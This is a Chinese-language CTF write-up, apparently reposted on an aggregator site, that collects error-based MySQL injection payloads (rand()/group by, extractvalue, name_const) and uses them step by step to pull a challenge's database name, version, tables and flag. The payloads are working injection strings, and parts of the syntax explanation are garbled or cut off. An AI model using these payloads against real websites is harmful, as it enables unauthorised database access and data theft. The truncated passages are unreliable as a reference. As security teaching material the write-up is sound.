星空网 > 软件开发 > 数据库

基于错误回显的sql注入整理

  由于复习,停了好几天,今天换换模式做了一下关于错误回显的ctf题目,首先附上题目:here

  整理了一下网上的一些关于错误回显的方法,在这里就不带上地址了,请大牛们原谅:P

  0x00 关于错误回显

    用我自己的话来讲,基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上(当然在实际应用中得能回显在页面上,一般的网站都回避免这种情况,哈哈,要是能碰上你就偷着乐吧)。

  0x01  用于错误回显的sql语句(下面的函数撸主只在mysql下试过也能成功,其他数据库有待考证,待有实例的时候会补充)

    第一种:  基于 rand()  与  group by 的错误

      首先看一下关于rand()函数与group by 在mysql中的错误报告,没错,我们就是要利用group by part of rand() returns duplicate key error这个bug。

      RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

      这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了:P

      公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1

    第二种: XPATH爆信息

      这里主要用到的是ExtractValue()Update这2个函数,由于mysql 5.1以后提供了内置的

      查看sql手册

      语法:EXTRACTVALUE (          第一个参数:          第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
          作用:从目标            语法:UPDATE          第一个参数:          第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
          第三个参数:new_value,String格式,替换查找到的符合条件的数据
          作用:改变文档中符合条件的节点的值
      现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用

      公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and '1'='1
      公式2:username=admin' and (update
    第三种: 重复列爆信息(对于这种方法,我在本地数据库上有试验成功,但是对于下面那道并没有什么作用,就不仔细说明了)
      带上代码:
      payload  id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c)
  0x02  应用
    上面说了那么多,让我们来应用一下吧,基于这道题目
    首先我们来爆出他的数据库名   结果:r0866cplushua
username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select database()))x from information_schema.tables group by x )a) and '1' = '1
    然后爆他的数据库版本  结果:5.1.61-Alibaba-rds-201404-log
username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select version()))x from information_schema.tables group by x )a) and '1' = '1
    接着爆他的表名   结果:log    motto   user  这里需要一条一条爆
username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.tables where table_schema = 'r0866cplushua' limit 0,1))x from information_schema.tables group by x )a) and '1' = '1
    然后再爆他的列名  结果:id  username  motto(这里我一开始试的是user表但是数据并没有我们想要的,所以换了motto,也需要一条一条的爆)
username=admin' and (select 5468 from (select count(*), concat(floor(rand(0)*2),0x23,(select column_name from information_schema.columns where table_name='motto' and table_schema = 'r0866cplushua' limit 0,1))x from information_schema.tables group by x )a) and '1' = '1
    最后就是爆数据了   结果:key#notfound!#    (这里我使用了XPATH爆数据,因为不知道什么原因用第一种方法暴不出来)
username=admin%27%20and%20(extractvalue(1,%20concat(0x7e,(SELECT%20concat(username,0x3a,motto)%20FROM%20motto%20limit%203,1))))%20and%20%271%27=%271
    到了这里这道题目就算是做出来了。由于撸主刚刚学起上面如果有什么错误,请路过的大牛指正谢谢,同时也希望大牛们可以分享一些其他的注错方法。
 



原标题:基于错误回显的sql注入整理

关键词:sql

sql
*特别声明:以上内容来自于网络收集,著作权属原作者所有,如有侵权,请联系我们: admin#shaoqun.com (#换成@)。

Auchan(欧尚):https://www.ikjzd.com/w/1573153066384269314
Auchan France:https://www.ikjzd.com/w/1573153068066529281
傲基(Aukey):https://www.ikjzd.com/w/1573153073095155714
au PAY:https://www.ikjzd.com/w/1573153076190896130
奥地利:https://www.ikjzd.com/w/1573153081194700802
道通科技(Auteltech):https://www.ikjzd.com/w/1573153083144708097
斥资210万美元,TikTok游说美国参议院阻止法案:https://www.goluckyvip.com/news/188213.html
大家推荐一下厦门三整天一个半天的旅游攻略:https://www.vstour.cn/a/365181.html
我的浏览记录
海外公司注册 | 跨境电商服务平台 | 深圳旅行社 | 东南亚物流